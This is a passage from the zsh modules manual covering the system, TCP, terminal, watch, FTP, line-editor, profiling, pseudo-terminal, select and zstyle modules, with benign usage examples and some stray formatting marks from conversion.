The current file position at which future reads and writes will take place is adjusted to the specified byte offset. The offset is evaluated as a math expression. The -u option allows the file descriptor to be specified. By default the offset is specified relative to the start or the file but, with the -w option, it is possible to specify that the offset should be relative to the current position or the end of the file.

syswrite [ -c countvar ] [ -o outfd ] data
The data (a single string of bytes) are written to the file descriptor outfd**, or 1 if that is not given, using the write system call.** Multiple write operations may be used if the first does not write all the data.

If countvar is given, the number of byte written is stored in the parameter named by countvar**; this may not be the full length of** data if an error occurred.

The error EINTR (interrupted system call) is handled internally by retrying; otherwise an error causes the command to return. For example, if the file descriptor is set to non-blocking output, an error EAGAIN (on some systems, EWOULDBLOCK) may result in the command returning early.

The return status may be 0 for success, 1 for an error in the parameters to the command, or 2 for an error on the write; no error message is printed in the last case, but the parameter ERRNO will reflect the error that occurred.

zsystem flock [ -t timeout ] [ -i interval ] [ -f var ] [-er] file

zsystem flock -u fd_expr The builtin zsystem’s subcommand flock performs advisory file locking (via the fcntl**(2) system call) over the entire contents** of the given file. This form of locking requires the processes accessing the file to cooperate; its most obvious use is between two instances of the shell itself.

In the first form the named file**, which must already exist, is** locked by opening a file descriptor to the file and applying a lock to the file descriptor. The lock terminates when the shell process that created the lock exits; it is therefore often convenient to create file locks within subshells, since the lock is automatically released when the subshell exits. Note that use of the print builtin with the -u option will, as a side effect, release the lock, as will redirection to the file in the shell holding the lock. To work around this use a subshell, e.g. `(print message) >> file**’. Status 0 is** returned if the lock succeeds, else status 1.

In the second form the file descriptor given by the arithmetic expression fd_expr is closed, releasing a lock. The file descriptor can be queried by using the `-f var**’ form during the lock;** on a successful lock, the shell variable var is set to the file descriptor used for locking. The lock will be released if the file descriptor is closed by any other means, for example using `exec {var}>&-’; however, the form described here performs a safety check that the file descriptor is in use for file locking.

By default the shell waits indefinitely for the lock to succeed. The option -t timeout specifies a timeout for the lock in seconds; fractional seconds are allowed. During this period, the shell will attempt to lock the file every interval seconds if the -i interval option is given, otherwise once a second. (This interval is shortened before the last attempt if needed, so that the shell waits only until the timeout and not longer.) If the attempt times out, status 2 is returned.

(Note: timeout is limited to 2^30-1 seconds (about 34 years), and interval to 0.999 * LONG_MAX microseconds (only about 35 minutes on 32-bit systems).)

If the option -e is given, the file descriptor for the lock is preserved when the shell uses exec to start a new process; otherwise it is closed at that point and the lock released.

If the option -r is given, the lock is only for reading, otherwise it is for reading and writing. The file descriptor is opened accordingly.

zsystem supports subcommand
The builtin zsystem’s subcommand supports tests whether a given subcommand is supported. It returns status 0 if so, else status 1. It operates silently unless there was a syntax error (i.e. the wrong number of arguments), in which case status 255 is returned. Status 1 can indicate one of two things: subcommand is known but not supported by the current operating system, or subcommand is not known (possibly because this is an older version of the shell before it was implemented).

Math Functions

systell(fd) The systell math function returns the current file position for the file descriptor passed as an argument.

Parameters

errnos A readonly array of the names of errors defined on the system. These are typically macros defined in C by including the system header file errno.h*. The index of each name (assuming the option* KSH_ARRAYS is unset) corresponds to the error number. Error numbers num before the last known error which have no name are given the name Enum in the array.

Note that aliases for errors are not handled; only the canonical name is used.

sysparams
A readonly associative array. The keys are:

pid Returns the process ID of the current process, even in subshells. Compare $$, which returns the process ID of the main shell process.

ppid
Returns the current process ID of the parent of the current process, even in subshells. Compare $PPID*, which returns the process ID of the* initial parent of the main shell process.

procsubstpid
Returns the process ID of the last process started for process substitution, i.e. the <() and >() expansions.

THE ZSH/NET/TCP MODULE

The zsh/net/tcp module makes available one builtin command:

ztcp [ -acflLtv ] [ -d fd ] [ args ] ztcp is implemented as a builtin to allow full use of shell command line editing, file I/O, and job control mechanisms.

If ztcp is run with no options, it will output the contents of its session table.

If it is run with only the option -L*, it will output the contents of* the session table in a format suitable for automatic parsing. The option is ignored if given with a command to open or close a session. The output consists of a set of lines, one per session, each containing the following elements separated by spaces:

File descriptor The file descriptor in use for the connection. For normal inbound (I*)* and outbound (O*) connections this may be read and written by the usual* shell mechanisms. However, it should only be close with `ztcp -c*’.*

Connection type
A letter indicating how the session was created:

Z A session created with the zftp command.

L
A connection opened for listening with `ztcp -l*’.*

I
An inbound connection accepted with `ztcp -a*’.*

O
An outbound connection created with `ztcp host …’.

The local host
This is usually set to an all-zero IP address as the address of the localhost is irrelevant.

The local port
This is likely to be zero unless the connection is for listening.

The remote host
This is the fully qualified domain name of the peer, if available, else an IP address. It is an all-zero IP address for a session opened for listening.

The remote port
This is zero for a connection opened for listening.

Outbound Connections

ztcp [ -v ] [ -d fd ] host [ port ] Open a new TCP connection to host. If the port is omitted, it will default to port 23. The connection will be added to the session table and the shell parameter REPLY will be set to the file descriptor associated with that connection.

If -d is specified, its argument will be taken as the target file descriptor for the connection.

In order to elicit more verbose output, use -v*.*

Inbound Connections

ztcp -l [ -v ] [ -d fd ] port ztcp -l will open a socket listening on TCP port. The socket will be added to the session table and the shell parameter REPLY will be set to the file descriptor associated with that listener.

If -d is specified, its argument will be taken as the target file descriptor for the connection.

In order to elicit more verbose output, use -v*.*

ztcp -a [ -tv ] [ -d targetfd ] listenfd
ztcp -a will accept an incoming connection to the port associated with listenfd. The connection will be added to the session table and the shell parameter REPLY will be set to the file descriptor associated with the inbound connection.

If -d is specified, its argument will be taken as the target file descriptor for the connection.

If -t is specified, ztcp will return if no incoming connection is pending. Otherwise it will wait for one.

In order to elicit more verbose output, use -v*.*

Closing Connections

ztcp -cf [ -v ] [ fd ]

ztcp -c [ -v ] [ fd ] ztcp -c will close the socket associated with fd. The socket will be removed from the session table. If fd is not specified, ztcp will close everything in the session table.

Normally, sockets registered by zftp (see zshmodules(1) ) cannot be closed this way. In order to force such a socket closed, use -f*.*

In order to elicit more verbose output, use -v*.*

Example

Here is how to create a TCP connection between two instances of zsh. We need to pick an unassigned port; here we use the randomly chosen 5123.

On host1*,*

zmodload zsh/net/tcp ztcp -l 5123 listenfd=$REPLY ztcp -a $listenfd fd=$REPLY

The second from last command blocks until there is an incoming connection.

Now create a connection from host2 (which may, of course, be the same machine):

zmodload zsh/net/tcp ztcp host1 5123 fd=$REPLY

Now on each host, $fd contains a file descriptor for talking to the other. For example, on host1*:*

print This is a message >&$fd

and on host2*:*

read -r line <&$fd; print -r - $line

prints `This is a message*’.*

To tidy up, on host1*:*

ztcp -c $listenfd ztcp -c $fd

and on host2

ztcp -c $fd

THE ZSH/TERMCAP MODULE

The zsh/termcap module makes available one builtin command:

echotc cap [ arg … ] Output the termcap value corresponding to the capability cap, with optional arguments.

The zsh/termcap module makes available one parameter:

termcap An associative array that maps termcap capability codes to their values.

THE ZSH/TERMINFO MODULE

The zsh/terminfo module makes available one builtin command:

echoti cap [ arg ] Output the terminfo value corresponding to the capability cap, instantiated with arg if applicable.

The zsh/terminfo module makes available one parameter:

terminfo An associative array that maps terminfo capability names to their values.

THE ZSH/WATCH MODULE

The zsh/watch module can be used to report when specific users log in or out. This is controlled via the following parameters.

LOGCHECK The interval in seconds between checks for login/logout activity using the watch parameter.

watch *<S> <Z> (*WATCH <S>)
An array (colon-separated list) of login/logout events to report.

If it contains the single word `all*’, then all login/logout events* are reported. If it contains the single word `notme*’, then all* events are reported as with `all*’ except* $USERNAME*.*

An entry in this list may consist of a username, an `@’ followed by a remote hostname, and a `%’ followed by a line (tty). Any of these may be a pattern (be sure to quote this during the assignment to watch so that it does not immediately perform file generation); the setting of the EXTENDED_GLOB option is respected. Any or all of these components may be present in an entry; if a login/logout event matches all of them, it is reported.

For example, with the EXTENDED_GLOB option set, the following:

watch=(’^(pws|barts)')

causes reports for activity associated with any user other than pws or barts*.*

WATCHFMT
The format of login/logout reports if the watch parameter is set. Default is `%n has %a %l from %m*’.* Recognizes the following escape sequences:

%n The name of the user that logged in/out.

%a
The observed action, i.e. “logged on” or “logged off”.

%l
The line (tty) the user is logged in on.

%M
The full hostname of the remote host.

%m
The hostname up to the first `.’. If only the IP address is available or the utmp field contains the name of an X-windows display, the whole name is printed.

NOTE: The `%m*’ and `%M’ escapes will work only if there is a host name* field in the utmp on your machine. Otherwise they are treated as ordinary strings.

%F{color} (%f*)*
Start (stop) using a different foreground color.

%K{color} (%k*)*
Start (stop) using a different background color.

%S (%s*)*
Start (stop) standout mode.

%U (%u*)*
Start (stop) underline mode.

%B (%b*)*
Start (stop) boldface mode.

%t

%@ The time, in 12-hour, am/pm format.

%T
The time, in 24-hour format.

%w
The date in `day**-**dd’ format.

%W
The date in `mm**/dd/**yy’ format.

%D
The date in `yy**-mm-**dd’ format.

%D{string}
The date formatted as string using the strftime function, with zsh extensions as described by EXPANSION OF PROMPT SEQUENCES in zshmisc(1).

%(x:true-text:false-text)
Specifies a ternary expression. The character following the x is arbitrary; the same character is used to separate the text for the “true” result from that for the “false” result. Both the separator and the right parenthesis may be escaped with a backslash. Ternary expressions may be nested.

The test character x may be any one of `l’, `n’, `m or `M*’, which indicate a `true’ result if the corresponding* escape sequence would return a non-empty value; or it may be `a*’,* which indicates a `true’ result if the watched user has logged in, or `false’ if he has logged out. Other characters evaluate to neither true nor false; the entire expression is omitted in this case.

If the result is `true’, then the true-text is formatted according to the rules above and printed, and the false-text is skipped. If `false’, the true-text is skipped and the false-text is formatted and printed. Either or both of the branches may be empty, but both separators must be present in any case.

Furthermore, the zsh/watch module makes available one builtin command:

log List all users currently logged in who are affected by the current setting of the watch parameter.

THE ZSH/ZFTP MODULE

The zsh/zftp module makes available one builtin command:

zftp subcommand [ args ] The zsh/zftp module is a client for FTP (file transfer protocol). It is implemented as a builtin to allow full use of shell command line editing, file I/O, and job control mechanisms. Often, users will access it via shell functions providing a more powerful interface; a set is provided with the zsh distribution and is described in zshzftpsys(1). However, the zftp command is entirely usable in its own right.

All commands consist of the command name zftp followed by the name of a subcommand. These are listed below. The return status of each subcommand is supposed to reflect the success or failure of the remote operation. See a description of the variable ZFTP_VERBOSE for more information on how responses from the server may be printed.

Subcommands

open host[**:port] [ user [ password [ account ] ] ] Open a new FTP session to host, which may be the name of a TCP/IP connected host or an IP number in the standard dot notation. If the argument is in the form host:**port, open a connection to TCP port port instead of the standard FTP port 21. This may be the name of a TCP service or a number: see the description of ZFTP_PORT below for more information.

If IPv6 addresses in colon format are used, the host should be surrounded by quoted square brackets to distinguish it from the port, for example ’[fe80::203:baff:fe02:8b56]’. For consistency this is allowed with all forms of host.

Remaining arguments are passed to the login subcommand. Note that if no arguments beyond host are supplied, open will not automatically call login*. If no arguments at all are supplied,* open will use the parameters set by the params subcommand.

After a successful open, the shell variables ZFTP_HOST*,* ZFTP_PORT*,* ZFTP_IP and ZFTP_SYSTEM are available; see `Variables’ below.

login [ name [ password [ account ] ] ]

user [ name [ password [ account ] ] ] Login the user name with parameters password and account. Any of the parameters can be omitted, and will be read from standard input if needed (name is always needed). If standard input is a terminal, a prompt for each one will be printed on standard error and password will not be echoed. If any of the parameters are not used, a warning message is printed.

After a successful login, the shell variables ZFTP_USER*,* ZFTP_ACCOUNT and ZFTP_PWD are available; see `Variables’ below.

This command may be re-issued when a user is already logged in, and the server will first be reinitialized for a new user.

params [ host [ user [ password [ account ] ] ] ]

params - Store the given parameters for a later open command with no arguments. Only those given on the command line will be remembered. If no arguments are given, the parameters currently set are printed, although the password will appear as a line of stars; the return status is one if no parameters were set, zero otherwise.

Any of the parameters may be specified as a `?’, which may need to be quoted to protect it from shell expansion. In this case, the appropriate parameter will be read from stdin as with the login subcommand, including special handling of password. If the `?’ is followed by a string, that is used as the prompt for reading the parameter instead of the default message (any necessary punctuation and whitespace should be included at the end of the prompt). The first letter of the parameter (only) may be quoted with a `*’; hence an argument* "$word" guarantees that the string from the shell parameter $word will be treated literally, whether or not it begins with a `?’.

If instead a single `-’ is given, the existing parameters, if any, are deleted. In that case, calling open with no arguments will cause an error.

The list of parameters is not deleted after a close*, however it* will be deleted if the zsh/zftp module is unloaded.

For example,

zftp params ftp.elsewhere.xx juser ‘?Password for juser: '

will store the host ftp.elsewhere.xx and the user juser and then prompt the user for the corresponding password with the given prompt.

test
Test the connection; if the server has reported that it has closed the connection (maybe due to a timeout), return status 2; if no connection was open anyway, return status 1; else return status 0. The test subcommand is silent, apart from messages printed by the $ZFTP_VERBOSE mechanism, or error messages if the connection closes. There is no network overhead for this test.

The test is only supported on systems with either the select(2) or poll(2) system calls; otherwise the message `not supported on this system’ is printed instead.

The test subcommand will automatically be called at the start of any other subcommand for the current session when a connection is open.

cd directory
Change the remote directory to directory. Also alters the shell variable ZFTP_PWD*.*

cdup
Change the remote directory to the one higher in the directory tree. Note that cd .. will also work correctly on non-UNIX systems.

dir [ arg … ]
Give a (verbose) listing of the remote directory. The args are passed directly to the server. The command’s behaviour is implementation dependent, but a UNIX server will typically interpret args as arguments to the ls command and with no arguments return the result of `ls -l*’. The directory is listed to standard output.*

ls [ arg … ]
Give a (short) listing of the remote directory. With no arg, produces a raw list of the files in the directory, one per line. Otherwise, up to vagaries of the server implementation, behaves similar to dir*.*

type [ type ]
Change the type for the transfer to type, or print the current type if type is absent. The allowed values are `A’ (ASCII), `I*’ (Image, i.e. binary), or `B’ (a synonym for `I’).*

The FTP default for a transfer is ASCII. However, if zftp finds that the remote host is a UNIX machine with 8-bit byes, it will automatically switch to using binary for file transfers upon open*. This can subsequently be overridden.*

The transfer type is only passed to the remote host when a data connection is established; this command involves no network overhead.

ascii
The same as type A*.*

binary
The same as type I*.*

mode [ S | B ]
Set the mode type to stream (S*) or block (B). Stream mode is* the default; block mode is not widely supported.

remote file …

local [ file … ] Print the size and last modification time of the remote or local files. If there is more than one item on the list, the name of the file is printed first. The first number is the file size, the second is the last modification time of the file in the format CCYYMMDDhhmmSS consisting of year, month, date, hour, minutes and seconds in GMT. Note that this format, including the length, is guaranteed, so that time strings can be directly compared via the [[ builtin’s < and > operators, even if they are too long to be represented as integers.

Not all servers support the commands for retrieving this information. In that case, the remote command will print nothing and return status 2, compared with status 1 for a file not found.

The local command (but not remote*) may be used with no* arguments, in which case the information comes from examining file descriptor zero. This is the same file as seen by a put command with no further redirection.

get file …
Retrieve all files from the server, concatenating them and sending them to standard output.

put file …
For each file, read a file from standard input and send that to the remote host with the given name.

append file …
As put*, but if the remote file already exists, data is* appended to it instead of overwriting it.

getat file point

putat file point

appendat file point Versions of get*,* put and append which will start the transfer at the given point in the remote file. This is useful for appending to an incomplete local file. However, note that this ability is not universally supported by servers (and is not quite the behaviour specified by the standard).

delete file …
Delete the list of files on the server.

mkdir directory
Create a new directory directory on the server.

rmdir directory
Delete the directory directory on the server.

rename old-name new-name
Rename file old-name to new-name on the server.

site arg …
Send a host-specific command to the server. You will probably only need this if instructed by the server to use it.

quote arg …
Send the raw FTP command sequence to the server. You should be familiar with the FTP command set as defined in RFC959 before doing this. Useful commands may include STAT and HELP*. Note also* the mechanism for returning messages as described for the variable ZFTP_VERBOSE below, in particular that all messages from the control connection are sent to standard error.

close

quit Close the current data connection. This unsets the shell parameters ZFTP_HOST*,* ZFTP_PORT*,* ZFTP_IP*,* ZFTP_SYSTEM*,* ZFTP_USER*,* ZFTP_ACCOUNT*,* ZFTP_PWD*,* ZFTP_TYPE and ZFTP_MODE*.*

session [ sessname ]
Allows multiple FTP sessions to be used at once. The name of the session is an arbitrary string of characters; the default session is called `default*’. If this command is called without an argument, it will list* all the current sessions; with an argument, it will either switch to the existing session called sessname, or create a new session of that name.

Each session remembers the status of the connection, the set of connection-specific shell parameters (the same set as are unset when a connection closes, as given in the description of close*), and any user* parameters specified with the params subcommand. Changing to a previous session restores those values; changing to a new session initialises them in the same way as if zftp had just been loaded. The name of the current session is given by the parameter ZFTP_SESSION*.*

rmsession [ sessname ]
Delete a session; if a name is not given, the current session is deleted. If the current session is deleted, the earliest existing session becomes the new current session, otherwise the current session is not changed. If the session being deleted is the only one, a new session called `default*’ is created and becomes the current session; note that this is* a new session even if the session being deleted is also called `default*’. It is recommended that sessions not be deleted while* background commands which use zftp are still active.

Parameters

The following shell parameters are used by zftp*. Currently none* of them are special.

ZFTP_TMOUT Integer. The time in seconds to wait for a network operation to complete before returning an error. If this is not set when the module is loaded, it will be given the default value 60. A value of zero turns off timeouts. If a timeout occurs on the control connection it will be closed. Use a larger value if this occurs too frequently.

ZFTP_IP
Readonly. The IP address of the current connection in dot notation.

ZFTP_HOST
Readonly. The hostname of the current remote server. If the host was opened as an IP number, ZFTP_HOST contains that instead; this saves the overhead for a name lookup, as IP numbers are most commonly used when a nameserver is unavailable.

ZFTP_PORT
Readonly. The number of the remote TCP port to which the connection is open (even if the port was originally specified as a named service). Usually this is the standard FTP port, 21.

In the unlikely event that your system does not have the appropriate conversion functions, this appears in network byte order. If your system is little-endian, the port then consists of two swapped bytes and the standard port will be reported as 5376. In that case, numeric ports passed to zftp open will also need to be in this format.

ZFTP_SYSTEM
Readonly. The system type string returned by the server in response to an FTP SYST request. The most interesting case is a string beginning “UNIX Type: L8”, which ensures maximum compatibility with a local UNIX host.

ZFTP_TYPE
Readonly. The type to be used for data transfers , either `A*’ or* `I*’. Use the* type subcommand to change this.

ZFTP_USER
Readonly. The username currently logged in, if any.

ZFTP_ACCOUNT
Readonly. The account name of the current user, if any. Most servers do not require an account name.

ZFTP_PWD
Readonly. The current directory on the server.

ZFTP_CODE
Readonly. The three digit code of the last FTP reply from the server as a string. This can still be read after the connection is closed, and is not changed when the current session changes.

ZFTP_REPLY
Readonly. The last line of the last reply sent by the server. This can still be read after the connection is closed, and is not changed when the current session changes.

ZFTP_SESSION
Readonly. The name of the current FTP session; see the description of the session subcommand.

ZFTP_PREFS
A string of preferences for altering aspects of zftp*’s behaviour.* Each preference is a single character. The following are defined:

P Passive: attempt to make the remote server initiate data transfers. This is slightly more efficient than sendport mode. If the letter S occurs later in the string, zftp will use sendport mode if passive mode is not available.

S
Sendport: initiate transfers by the FTP PORT command. If this occurs before any P in the string, passive mode will never be attempted.

D
Dumb: use only the bare minimum of FTP commands. This prevents the variables ZFTP_SYSTEM and ZFTP_PWD from being set, and will mean all connections default to ASCII type. It may prevent ZFTP_SIZE from being set during a transfer if the server does not send it anyway (many servers do).

If ZFTP_PREFS is not set when zftp is loaded, it will be set to a default of `PS*’, i.e. use passive mode if available, otherwise* fall back to sendport mode.

ZFTP_VERBOSE
A string of digits between 0 and 5 inclusive, specifying which responses from the server should be printed. All responses go to standard error. If any of the numbers 1 to 5 appear in the string, raw responses from the server with reply codes beginning with that digit will be printed to standard error. The first digit of the three digit reply code is defined by RFC959 to correspond to:

1. A positive preliminary reply.

2.
A positive completion reply.

3.
A positive intermediate reply.

4.
A transient negative completion reply.

5.
A permanent negative completion reply.

It should be noted that, for unknown reasons, the reply `Service not available’, which forces termination of a connection, is classified as 421, i.e. `transient negative’, an interesting interpretation of the word `transient’.

The code 0 is special: it indicates that all but the last line of multiline replies read from the server will be printed to standard error in a processed format. By convention, servers use this mechanism for sending information for the user to read. The appropriate reply code, if it matches the same response, takes priority.

If ZFTP_VERBOSE is not set when zftp is loaded, it will be set to the default value 450*, i.e., messages destined for the user* and all errors will be printed. A null string is valid and specifies that no messages should be printed.

Functions

zftp_chpwd If this function is set by the user, it is called every time the directory changes on the server, including when a user is logged in, or when a connection is closed. In the last case, $ZFTP_PWD will be unset; otherwise it will reflect the new directory.

zftp_progress
If this function is set by the user, it will be called during a get*,* put or append operation each time sufficient data has been received from the host. During a get*, the data is sent* to standard output, so it is vital that this function should write to standard error or directly to the terminal, not to standard output.

When it is called with a transfer in progress, the following additional shell parameters are set:

ZFTP_FILE The name of the remote file being transferred from or to.

ZFTP_TRANSFER
A G for a get operation and a P for a put operation.

ZFTP_SIZE
The total size of the complete file being transferred: the same as the first value provided by the remote and local subcommands for a particular file. If the server cannot supply this value for a remote file being retrieved, it will not be set. If input is from a pipe the value may be incorrect and correspond simply to a full pipe buffer.

ZFTP_COUNT
The amount of data so far transferred; a number between zero and $ZFTP_SIZE*, if that is set. This number is always available.*

The function is initially called with ZFTP_TRANSFER set appropriately and ZFTP_COUNT set to zero. After the transfer is finished, the function will be called one more time with ZFTP_TRANSFER set to GF or PF*, in case it wishes to tidy* up. It is otherwise never called twice with the same value of ZFTP_COUNT*.*

Sometimes the progress meter may cause disruption. It is up to the user to decide whether the function should be defined and to use unfunction when necessary.

Problems

A connection may not be opened in the left hand side of a pipe as this occurs in a subshell and the file information is not updated in the main shell. In the case of type or mode changes or closing the connection in a subshell, the information is returned but variables are not updated until the next call to zftp*. Other status changes in subshells will not be* reflected by changes to the variables (but should be otherwise harmless).

Deleting sessions while a zftp command is active in the background can have unexpected effects, even if it does not use the session being deleted. This is because all shell subprocesses share information on the state of all connections, and deleting a session changes the ordering of that information.

On some operating systems, the control connection is not valid after a fork(), so that operations in subshells, on the left hand side of a pipeline, or in the background are not possible, as they should be. This is presumably a bug in the operating system.

THE ZSH/ZLE MODULE

The zsh/zle module contains the Zsh Line Editor. See zshzle(1).

THE ZSH/ZLEPARAMETER MODULE

The zsh/zleparameter module defines two special parameters that can be used to access internal information of the Zsh Line Editor (see zshzle(1)).

keymaps This array contains the names of the keymaps currently defined.

widgets
This associative array contains one entry per widget. The name of the widget is the key and the value gives information about the widget. It is either the string `builtin*’ for builtin widgets,* a string of the form `**user:**name’ for user-defined widgets, where name is the name of the shell function implementing the widget, a string of the form `**completion:type:**name’ for completion widgets, or a null value if the widget is not yet fully defined. In the penultimate case, type is the name of the builtin widget the completion widget imitates in its behavior and name is the name of the shell function implementing the completion widget.

THE ZSH/ZPROF MODULE

When loaded, the zsh/zprof causes shell functions to be profiled. The profiling results can be obtained with the zprof builtin command made available by this module. There is no way to turn profiling off other than unloading the module.

zprof [ -c ] Without the -c option, zprof lists profiling results to standard output. The format is comparable to that of commands like gprof*.*

At the top there is a summary listing all functions that were called at least once. This summary is sorted in decreasing order of the amount of time spent in each. The lines contain the number of the function in order, which is used in other parts of the list in suffixes of the form `[num]’, then the number of calls made to the function. The next three columns list the time in milliseconds spent in the function and its descendants, the average time in milliseconds spent in the function and its descendants per call and the percentage of time spent in all shell functions used in this function and its descendants. The following three columns give the same information, but counting only the time spent in the function itself. The final column shows the name of the function.

After the summary, detailed information about every function that was invoked is listed, sorted in decreasing order of the amount of time spent in each function and its descendants. Each of these entries consists of descriptions for the functions that called the function described, the function itself, and the functions that were called from it. The description for the function itself has the same format as in the summary (and shows the same information). The other lines don’t show the number of the function at the beginning and have their function named indented to make it easier to distinguish the line showing the function described in the section from the surrounding lines.

The information shown in this case is almost the same as in the summary, but only refers to the call hierarchy being displayed. For example, for a calling function the column showing the total running time lists the time spent in the described function and its descendants only for the times when it was called from that particular calling function. Likewise, for a called function, this columns lists the total time spent in the called function and its descendants only for the times when it was called from the function described.

Also in this case, the column showing the number of calls to a function also shows a slash and then the total number of invocations made to the called function.

As long as the zsh/zprof module is loaded, profiling will be done and multiple invocations of the zprof builtin command will show the times and numbers of calls since the module was loaded. With the -c option, the zprof builtin command will reset its internal counters and will not show the listing.

THE ZSH/ZPTY MODULE

The zsh/zpty module offers one builtin:

zpty [ -e ] [ -b ] name [ arg … ] The arguments following name are concatenated with spaces between, then executed as a command, as if passed to the eval builtin. The command runs under a newly assigned pseudo-terminal; this is useful for running commands non-interactively which expect an interactive environment. The name is not part of the command, but is used to refer to this command in later calls to zpty*.*

With the -e option, the pseudo-terminal is set up so that input characters are echoed.

With the -b option, input to and output from the pseudo-terminal are made non-blocking.

The shell parameter REPLY is set to the file descriptor assigned to the master side of the pseudo-terminal. This allows the terminal to be monitored with ZLE descriptor handlers (see zshzle(1)) or manipulated with sysread and syswrite (see THE ZSH/SYSTEM MODULE in zshmodules(1)). Warning: Use of sysread and syswrite is not recommended; use zpty -r and zpty -w unless you know exactly what you are doing.

zpty -d [ name … ]
The second form, with the -d option, is used to delete commands previously started, by supplying a list of their names. If no name is given, all commands are deleted. Deleting a command causes the HUP signal to be sent to the corresponding process.

zpty -w [ -n ] name [ string … ]
The -w option can be used to send the to command name the given strings as input (separated by spaces). If the -n option is not given, a newline is added at the end.

If no string is provided, the standard input is copied to the pseudo-terminal; this may stop before copying the full input if the pseudo-terminal is non-blocking. The exact input is always copied: the -n option is not applied.

Note that the command under the pseudo-terminal sees this input as if it were typed, so beware when sending special tty driver characters such as word-erase, line-kill, and end-of-file.

zpty -r [ -mt ] name [ param [ pattern ] ]
The -r option can be used to read the output of the command name. With only a name argument, the output read is copied to the standard output. Unless the pseudo-terminal is non-blocking, copying continues until the command under the pseudo-terminal exits; when non-blocking, only as much output as is immediately available is copied. The return status is zero if any output is copied.

When also given a param argument, at most one line is read and stored in the parameter named param. Less than a full line may be read if the pseudo-terminal is non-blocking. The return status is zero if at least one character is stored in param.

If a pattern is given as well, output is read until the whole string read matches the pattern, even in the non-blocking case. The return status is zero if the string read matches the pattern, or if the command has exited but at least one character could still be read. If the option -m is present, the return status is zero only if the pattern matches. As of this writing, a maximum of one megabyte of output can be consumed this way; if a full megabyte is read without matching the pattern, the return status is non-zero.

In all cases, the return status is non-zero if nothing could be read, and is 2 if this is because the command has finished.

If the -r option is combined with the -t option, zpty tests whether output is available before trying to read. If no output is available, zpty immediately returns the status 1*. When used* with a pattern, the behaviour on a failed poll is similar to when the command has exited: the return value is zero if at least one character could still be read even if the pattern failed to match.

zpty -t name
The -t option without the -r option can be used to test whether the command name is still running. It returns a zero status if the command is running and a non-zero value otherwise.

zpty [ -L ]
The last form, without any arguments, is used to list the commands currently defined. If the -L option is given, this is done in the form of calls to the zpty builtin.

THE ZSH/ZSELECT MODULE

The zsh/zselect module makes available one builtin command:

zselect [ -rwe ] [ -t timeout ] [ -a array ] [ -A assoc ] [ fd … ] The zselect builtin is a front-end to the `select’ system call, which blocks until a file descriptor is ready for reading or writing, or has an error condition, with an optional timeout. If this is not available on your system, the command prints an error message and returns status 2 (normal errors return status 1). For more information, see your system’s documentation for select(3). Note there is no connection with the shell builtin of the same name.

Arguments and options may be intermingled in any order. Non-option arguments are file descriptors, which must be decimal integers. By default, file descriptors are to be tested for reading, i.e. zselect will return when data is available to be read from the file descriptor, or more precisely, when a read operation from the file descriptor will not block. After a -r*,* -w and -e*, the given file descriptors are* to be tested for reading, writing, or error conditions. These options and an arbitrary list of file descriptors may be given in any order.

(The presence of an `error condition’ is not well defined in the documentation for many implementations of the select system call. According to recent versions of the POSIX specification, it is really an exception condition, of which the only standard example is out-of-band data received on a socket. So zsh users are unlikely to find the -e option useful.)

The option `-t timeout’ specifies a timeout in hundredths of a second. This may be zero, in which case the file descriptors will simply be polled and zselect will return immediately. It is possible to call zselect with no file descriptors and a non-zero timeout for use as a finer-grained replacement for `sleep’; note, however, the return status is always 1 for a timeout.

The option `-a array’ indicates that array should be set to indicate the file descriptor(s) which are ready. If the option is not given, the array reply will be used for this purpose. The array will contain a string similar to the arguments for zselect*. For example,*

zselect -t 0 -r 0 -w 1

might return immediately with status 0 and $reply containing `-r 0 -w 1*’ to show that both file descriptors are ready for the requested* operations.

The option `-A assoc’ indicates that the associative array assoc should be set to indicate the file descriptor(s) which are ready. This option overrides the option -a*, nor will* reply be modified. The keys of assoc are the file descriptors, and the corresponding values are any of the characters `rwe*’ to indicate* the condition.

The command returns status 0 if some file descriptors are ready for reading. If the operation timed out, or a timeout of 0 was given and no file descriptors were ready, or there was an error, it returns status 1 and the array will not be set (nor modified in any way). If there was an error in the select operation the appropriate error message is printed.

THE ZSH/ZUTIL MODULE

The zsh/zutil module only adds some builtins:

zstyle [ -L [ metapattern [ style ] ] ]

zstyle [ -e | - | ] pattern style string …

zstyle -d [ pattern [ style … ] ]

zstyle -g name [ pattern [ style ] ]

zstyle -{a|b|s} context style name [ sep ]

zstyle -{T|t} context style [ string … ]

zstyle -m context style pattern This builtin command is used to define and lookup styles. Styles are pairs of names and values, where the values consist of any number of strings. They are stored together with patterns and lookup is done by giving a string, called the `context’, which is matched against the patterns. The definition stored for the most specific pattern that matches will be returned.

A pattern is considered to be more specific than another if it contains more components (substrings separated by colons) or if the patterns for the components are more specific, where simple strings are considered to be more specific than patterns and complex patterns are considered to be more specific than the pattern `*’. A `*’ in the pattern will match zero or more characters in the context; colons are not treated specially in this regard. If two patterns are equally specific, the tie is broken in favour of the pattern that was defined first.

Example

For example, a fictional `weather*’ plugin might state in its documentation* that it looks up the preferred-precipitation style under the `**:weather:continent:day-of-the-week:phase-of-the-moon’ context. According to this, you might set the following in your zshrc:

zstyle ‘:weather:europe:’ preferred-precipitation rain zstyle ‘:weather::Sunday:*’ preferred-precipitation snow

Then the plugin would run under the hood a command such as

zstyle -s “:weather:${continent}:${day_of_week}:${moon_phase}” preferred-precipitation REPLY

in order to retrieve your preference into the scalar variable $REPLY*.* On Sundays $REPLY would be set to `snow’; in Europe it would be set to `rain*’; and on Sundays in Europe it would be set to `snow’ again,* because the patterns `:weather:europe:*’ and `:weather:*:Sunday:*’ both match the context argument to zstyle -s*, are equally specific, and the* latter is more specific (because it has more colon-separated components).

Usage

The forms that operate on patterns are the following.

zstyle [ -L [ metapattern [ style ] ] ] Without arguments, lists style definitions. Styles are shown in alphabetic order and patterns are shown in the order zstyle will test them.

If the -L option is given, listing is done in the form of calls to zstyle*. The optional first argument, metapattern, is a pattern which* will be matched against the string supplied as pattern when the style was defined. Note: this means, for example, `zstyle -L “:completion:*”’ will match any supplied pattern beginning `:completion:’, not just ":completion:*": use ’:completion:' to match that. The optional second argument limits the output to a specific style (not a pattern). -L is not compatible with any other options.

zstyle [ - | | -e ] pattern style string …
Defines the given style for the pattern with the strings as the value. If the -e option is given, the strings will be concatenated (separated by spaces) and the resulting string will be evaluated (in the same way as it is done by the eval builtin command) when the style is looked up. In this case the parameter `reply*’ must be assigned to set the strings returned after the* evaluation. Before evaluating the value, reply is unset, and if it is still unset after the evaluation, the style is treated as if it were not set.

zstyle -d [ pattern [ style … ] ]
